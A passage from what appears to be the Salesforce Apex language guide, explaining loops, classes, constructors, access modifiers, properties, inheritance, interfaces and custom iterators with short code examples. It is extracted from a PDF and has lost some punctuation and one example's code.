As an example, the following code outputs the numbers 1 - 10 into the debug log. Note that an additional initialization variable, j, is
included to demonstrate the syntax:
for (Integer i = 0, j = 0; i < 10; i++) {
System.debug(i+1);
}

Control Flow Statements

For Loops

List or Set Iteration for Loops

The list or set iteration for loop iterates over all the elements in a list or set. Its syntax is:
for (variable : list_or_set) {

code_block
}

where variable must be of the same primitive or sObject type as list_or_set.

When executing this type of for loop, the Apex runtime engine assigns variable to each element in list_or_set, and
runs the code_block for each value.
For example, the following code outputs the numbers 1 - 10 to the debug log:
Integer[] myInts = new Integer[]{1, 2, 3, 4, 5, 6, 7, 8, 9, 10};
for (Integer i : myInts) {
System.debug(i);
}

Iterating Collections
Collections can consist of lists, sets, or maps. Modifying a collection's elements while iterating through that collection is not supported
and causes an error. Do not directly add or remove elements while iterating through the collection that includes them.

Adding Elements During Iteration

To add elements while iterating a list, set or map, keep the new elements in a temporary list, set, or map and add them to the original
after you finish iterating the collection.

Removing Elements During Iteration

To remove elements while iterating a list, create a new list, then copy the elements you wish to keep. Alternatively, add the elements
you wish to remove to a temporary list and remove them after you finish iterating the collection.
Note: The List.remove method performs linearly. Using it to remove elements has time and resource implications.
To remove elements while iterating a map or set, keep the keys you wish to remove in a temporary list, then remove them after you
finish iterating the collection.

CHAPTER 6

Classes, Objects, and Interfaces

This chapter covers classes and interfaces in Apex. It describes defining classes, instantiating them, and extending them. Interfaces, Apex
class versions, properties, and other related class concepts are also described.
In most cases, the class concepts described here are modeled on their counterparts in Java, and can be quickly understood by those
who are familiar with them.
IN THIS SECTION:
1. Understanding Classes
2. Understanding Interfaces
3. Keywords
4. Annotations
5. Classes and Casting
6. Differences Between Apex Classes and Java Classes
7. Class Definition Creation
8. Namespace Prefix
9. Apex Code Versions
10. Lists of Custom Types and Sorting
Lists can hold objects of your user-defined types (your Apex classes). Lists of user-defined types can be sorted.
11. Using Custom Types in Map Keys and Sets
You can add instances of your own Apex classes to maps and sets.

Understanding Classes
As in Java, you can create classes in Apex. A class is a template or blueprint from which objects are created. An object is an instance of a
class. For example, the PurchaseOrder class describes an entire purchase order, and everything that you can do with a purchase
order. An instance of the PurchaseOrder class is a specific purchase order that you send or receive.
All objects have state and behavior, that is, things that an object knows about itself, and things that an object can do. The state of a
PurchaseOrder objectwhat it knowsincludes the user who sent it, the date and time it was created, and whether it was flagged as
important. The behavior of a PurchaseOrder objectwhat it can doincludes checking inventory, shipping a product, or notifying a
customer.
A class can contain variables and methods. Variables are used to specify the state of an object, such as the object's Name or Type.
Since these variables are associated with a class and are members of it, they are commonly referred to as member variables. Methods
are used to control behavior, such as getOtherQuotes or copyLineItems.
A class can contain other classes, exception types, and initialization code.

Classes, Objects, and Interfaces

Apex Class Definition

An interface is like a class in which none of the methods have been implementedthe method signatures are there, but the body of
each method is empty. To use an interface, another class must implement it by providing a body for all of the methods contained in the
interface.
For more general information on classes, objects, and interfaces, see http://java.sun.com/docs/books/tutorial/java/concepts/index.html
In addition to classes, Apex provides triggers, similar to database triggers. A trigger is Apex code that executes before or after database
operations. See Triggers.
IN THIS SECTION:
1. Apex Class Definition
2. Class Variables
3. Class Methods
4. Using Constructors
5. Access Modifiers
6. Static and Instance Methods, Variables, and Initialization Code
In Apex, you can have static methods, variables, and initialization code. However, Apex classes cant be static. You can also have
instance methods, member variables, and initialization code, which have no modifier, and local variables.
7. Apex Properties
8. Extending a Class
You can extend a class to provide a more specialized behavior.
9. Extended Class Example

Apex Class Definition

In Apex, you can define top-level classes (also called outer classes) as well as inner classes, that is, a class defined within another class.
You can only have inner classes one level deep. For example:
public class myOuterClass {
// Additional myOuterClass code here
class myInnerClass {
// myInnerClass code here
}
}

To define a class, specify the following:

1. Access modifiers:
You must use one of the access modifiers (such as public or global) in the declaration of a top-level class.
You do not have to use an access modifier in the declaration of an inner class.
2. Optional definition modifiers (such as virtual, abstract, and so on)
3. Required: The keyword class followed by the name of the class
4. Optional extensions and/or implementations
Note: Avoid using standard object names for class names. Doing so causes unexpected results. For a list of standard objects, see
Object Reference for Salesforce and Force.com.

Classes, Objects, and Interfaces

Class Variables

Use the following syntax for defining classes:

private | public | global
[virtual | abstract | with sharing | without sharing]
class ClassName [implements InterfaceNameList] [extends ClassName]
{
// The body of the class
}

The private access modifier declares that this class is only known locally, that is, only by this section of code. This is the default
access for inner classesthat is, if you don't specify an access modifier for an inner class, it is considered private. This keyword
can only be used with inner classes.
The public access modifier declares that this class is visible in your application or namespace.
The global access modifier declares that this class is known by all Apex code everywhere. All classes that contain methods defined
with the webService keyword must be declared as global. If a method or inner class is declared as global, the outer,
top-level class must also be defined as global.
The with sharing and without sharing keywords specify the sharing mode for this class. For more information, see
Using the with sharing or without sharing Keywords on page 81.
The virtual definition modifier declares that this class allows extension and overrides. You cannot override a method with the
override keyword unless the class has been defined as virtual.
The abstract definition modifier declares that this class contains abstract methods, that is, methods that only have their signature
declared and no body defined.
Note:
You cannot add an abstract method to a global class after the class has been uploaded in a Managed - Released package
version.
If the class in the Managed - Released package is virtual, the method that you can add to it must also be virtual and must have
an implementation.
You cannot override a public or protected virtual method of a global class of an installed managed package.
For more information about managed packages, see What is a Package? on page 587.
A class can implement multiple interfaces, but only extend one existing class. This restriction means that Apex does not support multiple
inheritance. The interface names in the list are separated by commas. For more information about interfaces, see Understanding Interfaces
on page 74.
For more information about method and variable access modifiers, see Access Modifiers on page 61.
SEE ALSO:
Documentation Typographical Conventions

Class Variables
To declare a variable, specify the following:
Optional: Modifiers, such as public or final, as well as static.
Required: The data type of the variable, such as String or Boolean.
Required: The name of the variable.
Optional: The value of the variable.

Classes, Objects, and Interfaces

Class Methods

Use the following syntax when defining a variable:

[public | private | protected | global] [final] [static] data_type variable_name
[= value]

For example:
private static final Integer MY_INT;
private final Integer i = 1;

Class Methods
To define a method, specify the following:
Optional: Modifiers, such as public or protected.
Required: The data type of the value returned by the method, such as String or Integer. Use void if the method does not return a
value.
Required: A list of input parameters for the method, separated by commas, each preceded by its data type, and enclosed in parentheses
(). If there are no parameters, use a set of empty parentheses. A method can only have 32 input parameters.
Required: The body of the method, enclosed in braces {}. All the code for the method, including any local variable declarations, is
contained here.
Use the following syntax when defining a method:
[public | private | protected | global] [override] [static] data_type method_name
(input parameters)
{
// The body of the method
}

Note: You can only use override to override methods in classes that have been defined as virtual.
For example:
public static Integer getInt() {
return MY_INT;
}

As in Java, methods that return values can also be run as a statement if their results are not assigned to another variable.
Note that user-defined methods:
Can be used anywhere that system methods are used.
Can be recursive.
Can have side effects, such as DML insert statements that initialize sObject record IDs. See Apex DML Statements on page 594.
Can refer to themselves or to methods defined later in the same class or anonymous block. Apex parses methods in two phases, so
forward declarations are not needed.
Can be polymorphic. For example, a method named foo can be implemented in two ways, one with a single Integer parameter
and one with two Integer parameters. Depending on whether the method is called with one or two Integers, the Apex parser selects
the appropriate implementation to execute. If the parser cannot find an exact match, it then seeks an approximate match using type
coercion rules. For more information on data conversion, see Understanding Rules of Conversion on page 48.
Note: If the parser finds multiple approximate matches, a parse-time exception is generated.

Classes, Objects, and Interfaces

Class Methods

When using void methods that have side effects, user-defined methods are typically executed as stand-alone procedure statements
in Apex code. For example:
System.debug('Here is a note for the log.');

Can have statements where the return values are run as a statement if their results are not assigned to another variable. This is the
same as in Java.

Passing Method Arguments By Value

In Apex, all primitive data type arguments, such as Integer or String, are passed into methods by value. This means that any changes to
the arguments exist only within the scope of the method. When the method returns, the changes to the arguments are lost.
Non-primitive data type arguments, such as sObjects, are also passed into methods by value. This means that when the method returns,
the passed-in argument still references the same object as before the method call and can't be changed to point to another object.
However, the values of the object's fields can be changed in the method.
The following are examples of passing primitive and non-primitive data type arguments into methods.
Example: Passing Primitive Data Type Arguments
This example shows how a primitive argument of type String is passed by value into another method. The debugStatusMessage
method in this example creates a String variable, msg, and assigns it a value. It then passes this variable as an argument to another
method, which modifies the value of this String. However, since String is a primitive type, it is passed by value, and when the method
returns, the value of the original variable, msg, is unchanged. An assert statement verifies that the value of msg is still the old value.
public class PassPrimitiveTypeExample {
public static void debugStatusMessage() {
String msg = 'Original value';
processString(msg);
// The value of the msg variable didn't
// change; it is still the old value.
System.assertEquals(msg, 'Original value');
}
public static void processString(String s) {
s = 'Modified value';
}
}

Example: Passing Non-Primitive Data Type Arguments

This example shows how a List argument is passed by value into another method and can be modified. It also shows that the List
argument cant be modified to point to another List object. First, the createTemperatureHistory method creates a variable,
fillMe, that is a List of Integers and passes it to a method. The called method fills this list with Integer values representing rounded
temperature values. When the method returns, an assert verifies that the contents of the original List variable has changed and now
contains five values. Next, the example creates a second List variable, createMe, and passes it to another method. The called method
assigns the passed-in argument to a newly created List that contains new Integer values. When the method returns, the original
createMe variable doesnt point to the new List but still points to the original List, which is empty. An assert verifies that createMe
contains no values.
public class PassNonPrimitiveTypeExample {
public static void createTemperatureHistory() {
List<Integer> fillMe = new List<Integer>();
reference(fillMe);

Classes, Objects, and Interfaces

Using Constructors

// The list is modified and contains five items

// as expected.
System.assertEquals(fillMe.size(),5);
List<Integer> createMe = new List<Integer>();
referenceNew(createMe);
// The list is not modified because it still points
// to the original list, not the new list
// that the method created.
System.assertEquals(createMe.size(),0);
}
public static void reference(List<Integer> m) {
// Add rounded temperatures for the last five days.
m.add(70);
m.add(68);
m.add(75);
m.add(80);
m.add(82);
}
public static void referenceNew(List<Integer> m) {
// Assign argument to a new List of
// five temperature values.
m = new List<Integer>{55, 59, 62, 60, 63};
}
}

Using Constructors
A constructor is code that is invoked when an object is created from the class blueprint. You do not need to write a constructor for every
class. If a class does not have a user-defined constructor, an implicit, no-argument, public one is used.
The syntax for a constructor is similar to a method, but it differs from a method definition in that it never has an explicit return type and
it is not inherited by the object created from it.
After you write the constructor for a class, you must use the new keyword in order to instantiate an object from that class, using that
constructor. For example, using the following class:
public class TestObject {
// The no argument constructor
public TestObject() {
// more code here
}
}

A new object of this type can be instantiated with the following code:
TestObject myTest = new TestObject();

If you write a constructor that takes arguments, you can then use that constructor to create an object using those arguments. If you
create a constructor that takes arguments, and you still want to use a no-argument constructor, you must include one in your code.
Once you create a constructor for a class, you no longer have access to the default, no-argument public constructor. You must create
your own.

Classes, Objects, and Interfaces

Access Modifiers

In Apex, a constructor can be overloaded, that is, there can be more than one constructor for a class, each having different parameters.
The following example illustrates a class with two constructors: one with no arguments and one that takes a simple Integer argument.
It also illustrates how one constructor calls another constructor using the this(...) syntax, also know as constructor chaining.
public class TestObject2 {
private static final Integer DEFAULT_SIZE = 10;
Integer size;
//Constructor with no arguments
public TestObject2() {
this(DEFAULT_SIZE); // Using this(...) calls the one argument constructor
}
// Constructor with one argument
public TestObject2(Integer ObjectSize) {
size = ObjectSize;
}
}

New objects of this type can be instantiated with the following code:
TestObject2 myObject1 = new TestObject2(42);
TestObject2 myObject2 = new TestObject2();

Every constructor that you create for a class must have a different argument list. In the following example, all of the constructors are
possible:
public class Leads {
// First a no-argument constructor
public Leads () {}
// A constructor with one argument
public Leads (Boolean call) {}
// A constructor with two arguments
public Leads (String email, Boolean call) {}
// Though this constructor has the same arguments as the
// one above, they are in a different order, so this is legal
public Leads (Boolean call, String email) {}
}

When you define a new class, you are defining a new data type. You can use class name in any place you can use other data type names,
such as String, Boolean, or Account. If you define a variable whose type is a class, any object you assign to it must be an instance of that
class or subclass.

Access Modifiers
Apex allows you to use the private, protected, public, and global access modifiers when defining methods and variables.
While triggers and anonymous blocks can also use these access modifiers, they are not as useful in smaller portions of Apex. For example,
declaring a method as global in an anonymous block does not enable you to call it from outside of that code.

Classes, Objects, and Interfaces

Static and Instance Methods, Variables, and Initialization

Code

For more information on class access modifiers, see Apex Class Definition on page 56.
Note: Interface methods have no access modifiers. They are always global. For more information, see Understanding Interfaces
on page 74.
By default, a method or variable is visible only to the Apex code within the defining class. You must explicitly specify a method or variable
as public in order for it to be available to other classes in the same application namespace (see Namespace Prefix). You can change the
level of visibility by using the following access modifiers:
private

This is the default, and means that the method or variable is accessible only within the Apex class in which it is defined. If you do
not specify an access modifier, the method or variable is private.
protected

This means that the method or variable is visible to any inner classes in the defining Apex class, and to the classes that extend the
defining Apex class. You can only use this access modifier for instance methods and member variables. Note that it is strictly more
permissive than the default (private) setting, just like Java.
public

This means the method or variable can be used by any Apex in this application or namespace.
Note: In Apex, the public access modifier is not the same as it is in Java. This was done to discourage joining applications,
to keep the code for each application separate. In Apex, if you want to make something public like it is in Java, you need to
use the global access modifier.
global

This means the method or variable can be used by any Apex code that has access to the class, not just the Apex code in the same
application. This access modifier should be used for any method that needs to be referenced outside of the application, either in
the SOAP API or by other Apex code. If you declare a method or variable as global, you must also declare the class that contains
it as global.
Note: We recommend using the global access modifier rarely, if at all. Cross-application dependencies are difficult to
maintain.
To use the private, protected, public, or global access modifiers, use the following syntax:
[(none)|private|protected|public|global] declaration

For example:
private string s1 = '1';
public string gets1() {
return this.s1;
}

Static and Instance Methods, Variables, and Initialization Code

In Apex, you can have static methods, variables, and initialization code. However, Apex classes cant be static. You can also have instance
methods, member variables, and initialization code, which have no modifier, and local variables.

Characteristics
Static methods, variables, and initialization code have these characteristics.
Theyre associated with a class.

Classes, Objects, and Interfaces

Static and Instance Methods, Variables, and Initialization

Code

Theyre allowed only in outer classes.

Theyre initialized only when a class is loaded.
They arent transmitted as part of the view state for a Visualforce page.
Instance methods, member variables, and initialization code have these characteristics.
Theyre associated with a particular object.
They have no definition modifier.
Theyre created with every object instantiated from the class in which theyre declared.
Local variables have these characteristics.
Theyre associated with the block of code in which theyre declared.
They must be initialized before theyre used.
The following example shows a local variable whose scope is the duration of the if code block.
Boolean myCondition = true;
if (myCondition) {
integer localVariable = 10;
}

Using Static Methods and Variables

You can use static methods and variables only with outer classes. Inner classes have no static methods or variables. A static method or
variable doesnt require an instance of the class in order to run.
Before an object of a class is created, all static member variables in a class are initialized, and all static initialization code blocks are
executed. These items are handled in the order in which they appear in the class.
A static method is used as a utility method, and it never depends on the value of an instance member variable. Because a static method
is only associated with a class, it cant access the instance member variable values of its class.
A static variable is static only within the scope of the Apex transaction. Its not static across the server or the entire organization. The
value of a static variable persists within the context of a single transaction and is reset across transaction boundaries. For example, if an
Apex DML request causes a trigger to fire multiple times, the static variables persist across these trigger invocations.
To store information that is shared across instances of a class, use a static variable. All instances of the same class share a single copy of
the static variable. For example, all triggers that a single transaction spawns can communicate with each other by viewing and updating
static variables in a related class. A recursive trigger can use the value of a class variable to determine when to exit the recursion.
Suppose that you had the following class.
public class P {
public static boolean firstRun = true;
}

A trigger that uses this class could then selectively fail the first run of the trigger.
trigger T1 on Account (before delete, after delete, after undelete) {
if(Trigger.isBefore){
if(Trigger.isDelete){
if(p.firstRun){
Trigger.old[0].addError('Before Account Delete Error');
p.firstRun=false;
}
}

Classes, Objects, and Interfaces

Static and Instance Methods, Variables, and Initialization

Code

}
}

A static variable defined in a trigger doesnt retain its value between different trigger contexts within the same transaction, such as
between before insert and after insert invocations. Instead, define the static variables in a class so that the trigger can access these class
member variables and check their static values.
A class static variable cant be accessed through an instance of that class. If class MyClass has a static variable myStaticVariable,
and myClassInstance is an instance of MyClass, myClassInstance.myStaticVariable is not a legal expression.
The same is true for instance methods. If myStaticMethod() is a static method, myClassInstance.myStaticMethod()
is not legal. Instead, refer to those static identifiers using the class: MyClass.myStaticVariable and
MyClass.myStaticMethod().
Local variable names are evaluated before class names. If a local variable has the same name as a class, the local variable hides methods
and variables on the class of the same name. For example, this method works if you comment out the String line. But if the String
line is included the method doesnt compile, because Salesforce reports that the method doesnt exist or has an incorrect signature.
public static void method() {
String Database = '';
Database.insert(new Account());
}

An inner class behaves like a static Java inner class, but doesnt require the static keyword. An inner class can have instance member
variables like an outer class, but there is no implicit pointer to an instance of the outer class (using the this keyword).
Note: In API version 20.0 and earlier, if a Bulk API request causes a trigger to fire, each chunk of 200 records for the trigger to
process is split into chunks of 100 records. In Salesforce API version 21.0 and later, no further splits of API chunks occur. If a Bulk
API request causes a trigger to fire multiple times for chunks of 200 records, governor limits are reset between these trigger
invocations for the same HTTP request.

Using Instance Methods and Variables

Instance methods and member variables are used by an instance of a class, that is, by an object. An instance member variable is declared
inside a class, but not within a method. Instance methods usually use instance member variables to affect the behavior of the method.
Suppose that you want to have a class that collects two-dimensional points and plots them on a graph. The following skeleton class
uses member variables to hold the list of points and an inner class to manage the two-dimensional list of points.
public class Plotter {
// This inner class manages the points
class Point {
Double x;
Double y;
Point(Double x, Double y) {
this.x = x;
this.y = y;
}
Double getXCoordinate() {
return x;
}
Double getYCoordinate() {

Classes, Objects, and Interfaces

Static and Instance Methods, Variables, and Initialization

Code

return y;
}
}
List<Point> points = new List<Point>();
public void plot(Double x, Double y) {
points.add(new Point(x, y));
}
// The following method takes the list of points and does something with them
public void render() {
}
}

Using Initialization Code

Instance initialization code is a block of code in the following form that is defined in a class.
{
//code body
}

The instance initialization code in a class is executed each time an object is instantiated from that class. These code blocks run before
the constructor.
If you dont want to write your own constructor for a class, you can use an instance initialization code block to initialize instance variables.
In simple situations, use an ordinary initializer. Reserve initialization code for complex situations, such as initializing a static map. A static
initialization block runs only once, regardless of how many times you access the class that contains it.
Static initialization code is a block of code preceded with the keyword static.
static {
//code body
}

Similar to other static code, a static initialization code block is only initialized once on the first use of the class.
A class can have any number of either static or instance initialization code blocks. They can appear anywhere in the code body. The code
blocks are executed in the order in which they appear in the file, just as they are in Java.
You can use static initialization code to initialize static final variables and to declare information that is static, such as a map of values.
For example:
public class MyClass {
class RGB {
Integer red;
Integer green;
Integer blue;

Classes, Objects, and Interfaces

Apex Properties

RGB(Integer red, Integer green, Integer blue) {

this.red = red;
this.green = green;
this.blue = blue;
}
}
static Map<String, RGB> colorMap = new Map<String, RGB>();
static {
colorMap.put('red', new RGB(255, 0, 0));
colorMap.put('cyan', new RGB(0, 255, 255));
colorMap.put('magenta', new RGB(255, 0, 255));
}
}

Apex Properties
An Apex property is similar to a variable, however, you can do additional things in your code to a property value before it is accessed or
returned. Properties can be used in many different ways: they can validate data before a change is made; they can prompt an action
when data is changed, such as altering the value of other member variables; or they can expose data that is retrieved from some other
source, such as another class.
Property definitions include one or two code blocks, representing a get accessor and a set accessor:
The code in a get accessor executes when the property is read.
The code in a set accessor executes when the property is assigned a new value.
A property with only a get accessor is considered read-only. A property with only a set accessor is considered write-only. A property with
both accessors is read-write.
To declare a property, use the following syntax in the body of a class:
Public class BasicClass {
// Property declaration

access_modifier return_type property_name {

get {
//Get accessor code block
}
set {
//Set accessor code block
}
}
}

Where:
access_modifier is the access modifier for the property. The access modifiers that can be applied to properties include:
public, private, global, and protected. In addition, these definition modifiers can be applied: static and
transient. For more information on access modifiers, see Access Modifiers on page 61.
return_type is the type of the property, such as Integer, Double, sObject, and so on. For more information, see Data Types on
page 27.
property_name is the name of the property

Classes, Objects, and Interfaces

Apex Properties

For example, the following class defines a property named prop. The property is public. The property returns an integer data type.
public class BasicProperty {
public integer prop {
get { return prop; }
set { prop = value; }
}
}

The following code segment calls the class above, exercising the get and set accessors:
BasicProperty bp = new BasicProperty();
bp.prop = 5;
// Calls set accessor
System.assert(bp.prop == 5);
// Calls get accessor

Note the following:

The body of the get accessor is similar to that of a method. It must return a value of the property type. Executing the get accessor is
the same as reading the value of the variable.
The get accessor must end in a return statement.
We recommend that your get accessor should not change the state of the object that it is defined on.
The set accessor is similar to a method whose return type is void.
When you assign a value to the property, the set accessor is invoked with an argument that provides the new value.
When the set accessor is invoked, the system passes an implicit argument to the setter called value of the same data type as the
property.
Properties cannot be defined on interface.
Apex properties are based on their counterparts in C#, with the following differences:
Properties provide storage for values directly. You do not need to create supporting members for storing values.
It is possible to create automatic properties in Apex. For more information, see Using Automatic Properties on page 67.

Using Automatic Properties

Properties do not require additional code in their get or set accessor code blocks. Instead, you can leave get and set accessor code blocks
empty to define an automatic property. Automatic properties allow you to write more compact code that is easier to debug and maintain.
They can be declared as read-only, read-write, or write-only. The following example creates three automatic properties:
public class AutomaticProperty {
public integer MyReadOnlyProp { get; }
public double MyReadWriteProp { get; set; }
public string MyWriteOnlyProp { set; }
}

The following code segment exercises these properties:

AutomaticProperty ap = new AutomaticProperty();
ap.MyReadOnlyProp = 5;
// This produces a compile error: not writable
ap.MyReadWriteProp = 5;
// No error
System.assert(MyWriteOnlyProp == 5);
// This produces a compile error: not readable

Classes, Objects, and Interfaces

Extending a Class

Using Static Properties

When a property is declared as static, the property's accessor methods execute in a static context. This means that the accessors do
not have access to non-static member variables defined in the class. The following example creates a class with both static and instance
properties:
public class StaticProperty {
public static integer StaticMember;
public integer NonStaticMember;
public static integer MyGoodStaticProp {
get{return MyGoodStaticProp;}
}
// The following produces a system error
// public static integer MyBadStaticProp { return NonStaticMember; }
public integer MyGoodNonStaticProp {
get{return NonStaticMember;}
}
}

The following code segment calls the static and instance properties:
StaticProperty sp = new StaticProperty();
// The following produces a system error: a static variable cannot be
// accessed through an object instance
// sp.MyGoodStaticProp = 5;
// The following does not produce an error
StaticProperty.MyGoodStaticProp = 5;

Using Access Modifiers on Property Accessors

Property accessors can be defined with their own access modifiers. If an accessor includes its own access modifier, this modifier overrides
the access modifier of the property. The access modifier of an individual accessor must be more restrictive than the access modifier on
the property itself. For example, if the property has been defined as public, the individual accessor cannot be defined as global.
The following class definition shows additional examples:
global virtual class PropertyVisibility {
// X is private for read and public for write
public integer X { private get; set; }
// Y can be globally read but only written within a class
global integer Y { get; public set; }
// Z can be read within the class but only subclasses can set it
public integer Z { get; protected set; }
}

Extending a Class
You can extend a class to provide a more specialized behavior.
A class that extends another class inherits all the methods and properties of the extended class. In addition, the extending class can
override the existing virtual methods by using the override keyword in the method definition. Overriding a virtual method allows you
to provide a different implementation for an existing method. This means that the behavior of a particular method is different based on
the object youre calling it on. This is referred to as polymorphism.

Classes, Objects, and Interfaces

Extending a Class

A class extends another class using the extends keyword in the class definition. A class can only extend one other class, but it can
implement more than one interface.
This example shows how to extend a class. The YellowMarker class extends the Marker class.
public virtual class Marker {
public virtual void write() {
System.debug('Writing some text.');
}
public virtual Double discount() {
return .05;
}
}
// Extension for the Marker class
public class YellowMarker extends Marker {
public override void write() {
System.debug('Writing some text using the yellow marker.');
}
}

This code segment shows polymorphism. The example declares two objects of the same type (Marker). Even though both objects
are markers, the second object is assigned to an instance of the YellowMarker class. Hence, calling the write method on it yields
a different result than calling this method on the first object because this method has been overridden. Note that we can call the
discount method on the second object even though this method isnt part of the YellowMarker class definition, but it is part
of the extended class, and hence is available to the extending class, YellowMarker.
Marker obj1, obj2;
obj1 = new Marker();
// This outputs 'Writing some text.'
obj1.write();
obj2 = new YellowMarker();
// This outputs 'Writing some text using the yellow marker.'
obj2.write();
// We get the discount method for free
// and can call it from the YellowMarker instance.
Double d = obj2.discount();

The extending class can have more method definitions that arent common with the original extended class. For example, the
RedMarker class below extends the Marker class and has one extra method, computePrice, that isnt available for the
Marker class. To call the extra methods, the object type must be the extending class.
// Extension for the Marker class
public class RedMarker extends Marker {
public override void write() {
System.debug('Writing some text in red.');
}
// Method only in this class
public Double computePrice() {
return 1.5;
}
}

Classes, Objects, and Interfaces

Extended Class Example

This shows how to call the additional method on the RedMarker class.
RedMarker obj = new RedMarker();
// Call method specific to RedMarker only
Double price = obj.computePrice();

A top-level class definition (also called an outer class)
Static variables and static methods in the top-level class, as well as static initialization code blocks
Member variables and methods for the top-level class
Classes with no user-defined constructor these have an implicit, no-argument constructor
An interface definition in the top-level class
An interface that extends another interface
Inner class definitions (one level deep) within a top-level class
A class that implements an interface (and, therefore, its associated sub-interface) by implementing public versions of the method
signatures
An inner class constructor definition and invocation
An inner class member variable and a reference to it using the this keyword (with no arguments)

Classes, Objects, and Interfaces

Extended Class Example

An inner class constructor that uses the this keyword (with arguments) to invoke a different constructor
Initialization code outside of constructors both where variables are defined, as well as with anonymous blocks in curly braces
({}). Note that these execute with every construction in the order they appear in the file, as with Java.
Class extension and an abstract class
Methods that override base class methods (which must be declared virtual)
The override keyword for methods that override subclass methods
Abstract methods and their implementation by concrete sub-classes
The protected access modifier
Exceptions as first class objects with members, methods, and constructors
This example shows how the class above can be called by other Apex code:
// Construct an instance of an inner concrete class, with a user-defined constructor
OuterClass.InnerClass ic = new OuterClass.InnerClass('x');
// Call user-defined methods in the class
System.assertEquals(2, ic.method2(1));
// Define a variable with an interface data type, and assign it a value that is of
// a type that implements that interface
OuterClass.MyInterface mi = ic;
// Use instanceof and casting as usual
OuterClass.InnerClass ic2 = mi instanceof OuterClass.InnerClass ?
(OuterClass.InnerClass)mi : null;
System.assert(ic2 != null);
// Construct the outer type
OuterClass o = new OuterClass();
System.assertEquals(2, OuterClass.getInt());
// Construct instances of abstract class children
System.assertEquals(5, new OuterClass.ConcreteChildClass().abstractMethod());
// Illegal - cannot construct an abstract class
// new OuterClass.AbstractChildClass();
// Illegal cannot access a static method through an instance
// o.getInt();
// Illegal - cannot call protected method externally
// new OuterClass.ConcreteChildClass().method2();

This code example illustrates:

Construction of the outer class
Construction of an inner class and the declaration of an inner interface type
A variable declared as an interface type can be assigned an instance of a class that implements that interface
Casting an interface variable to be a class type that implements that interface (after verifying this using the instanceof operator)

Classes, Objects, and Interfaces

Understanding Interfaces

Understanding Interfaces
An interface is like a class in which none of the methods have been implementedthe method signatures are there, but the body of
each method is empty. To use an interface, another class must implement it by providing a body for all of the methods contained in the
interface.
Interfaces can provide a layer of abstraction to your code. They separate the specific implementation of a method from the declaration
for that method. This way you can have different implementations of a method based on your specific application.
Defining an interface is similar to defining a new class. For example, a company might have two types of purchase orders, ones that
come from customers, and others that come from their employees. Both are a type of purchase order. Suppose you needed a method
to provide a discount. The amount of the discount can depend on the type of purchase order.
You can model the general concept of a purchase order as an interface and have specific implementations for customers and employees.
In the following example the focus is only on the discount aspect of a purchase order.
This is the definition of the PurchaseOrder interface.
// An interface that defines what a purchase order looks like in general
public interface PurchaseOrder {
// All other functionality excluded
Double discount();
}

This class implements the PurchaseOrder interface for customer purchase orders.
// One implementation of the interface for customers
public class CustomerPurchaseOrder implements PurchaseOrder {
public Double discount() {
return .05; // Flat 5% discount
}
}

This class implements the PurchaseOrder interface for employee purchase orders.
// Another implementation of the interface for employees
public class EmployeePurchaseOrder implements PurchaseOrder {
public Double discount() {
return .10; // Its worth it being an employee! 10% discount
}
}

Note the following about the above example:

The interface PurchaseOrder is defined as a general prototype. Methods defined within an interface have no access modifiers
and contain just their signature.
The CustomerPurchaseOrder class implements this interface; therefore, it must provide a definition for the discount
method. As with Java, any class that implements an interface must define all of the methods contained in the interface.
When you define a new interface, you are defining a new data type. You can use an interface name in any place you can use another
data type name. If you define a variable whose type is an interface, any object you assign to it must be an instance of a class that
implements the interface, or a sub-interface data type.
See also Classes and Casting on page 96.
Note: You cannot add a method to a global interface after the class has been uploaded in a Managed - Released package version.

Classes, Objects, and Interfaces

Custom Iterators

IN THIS SECTION:
1. Custom Iterators

Custom Iterators
An iterator traverses through every item in a collection. For example, in a while loop in Apex, you define a condition for exiting the
loop, and you must provide some means of traversing the collection, that is, an iterator. In the following example, count is incremented
by 1 every time the loop is executed (count++) :
while (count < 11) {
System.debug(count);
count++;
}

Using the Iterator interface you can create a custom set of instructions for traversing a List through a loop. This is useful for data
that exists in sources outside of Salesforce that you would normally define the scope of using a SELECT statement. Iterators can also
be used if you have multiple SELECT statements.

Using Custom Iterators

To use custom iterators, you must create an Apex class that implements the Iterator interface.
The Iterator interface has the following instance methods:
Name

Arguments

Returns

Description

hasNext

Boolean

Returns true if there is another item in the collection being

traversed, false otherwise.

Any type

Returns the next item in the collection.

All methods in the Iterator interface must be declared as global or public.

You can only use a custom iterator in a while loop. For example:
IterableString x = new IterableString('This is a really cool test.');
while(x.hasNext()){
system.debug(x.next());
}

Iterators are not currently supported in for loops.

Using Custom Iterators with Iterable

If you do not want to use a custom iterator with a list, but instead want to create your own data structure, you can use the Iterable
interface to generate the data structure.
The Iterable interface has the following method:
Name
iterator

Arguments

Returns

Description

Iterator class

Returns a reference to the iterator for this interface.

Classes, Objects, and Interfaces

Custom Iterators

The iterator method must be declared as global or public. It creates a reference to the iterator that you can then use to
traverse the data structure.
In the following example a custom iterator iterates through a collection:
global class CustomIterable
implements Iterator<Account>{
List<Account> accs {get; set;}
Integer i {get; set;}
public CustomIterable(){
accs =
[SELECT Id, Name,
NumberOfEmployees
FROM Account
WHERE Name = 'false'];
i = 0;
}
global boolean hasNext(){
if(i >= accs.size()) {
return false;
} else {
return true;
}
}
global Account next(){
// 8 is an arbitrary
// constant in this example
// that represents the
// maximum size of the list.
if(i == 8){return null;}
i++;
return accs[i-1];
}
}

The following calls the above code:

global class foo implements iterable<Account>{
global Iterator<Account> Iterator(){
return new CustomIterable();
}
}

The following is a batch job that uses an iterator:

global class batchClass implements Database.batchable<Account>{
global Iterable<Account> start(Database.batchableContext info){
return new foo();
}
global void execute(Database.batchableContext info, List<Account> scope){
List<Account> accsToUpdate = new List<Account>();
for(Account a : scope){

Classes, Objects, and Interfaces

Keywords

a.Name = 'true';
a.NumberOfEmployees = 69;
accsToUpdate.add(a);
}
update accsToUpdate;
}
global void finish(Database.batchableContext info){
}
}

Keywords
Apex has the following keywords available:
final
instanceof
super
this
transient
with sharing and without sharing
IN THIS SECTION:
1. Using the final Keyword
2. Using the instanceof Keyword
3. Using the super Keyword
4. Using the this Keyword
5. Using the transient Keyword
6. Using the with sharing or without sharing Keywords
Use the with sharing or without sharing keywords on a class to specify whether or not to enforce sharing rules.

Using the final Keyword

You can use the final keyword to modify variables.
Final variables can only be assigned a value once, either when you declare a variable or in initialization code. You must assign a value
to it in one of these two places.
Static final variables can be changed in static initialization code or where defined.
Member final variables can be changed in initialization code blocks, constructors, or with other variable declarations.
To define a constant, mark a variable as both static and final.
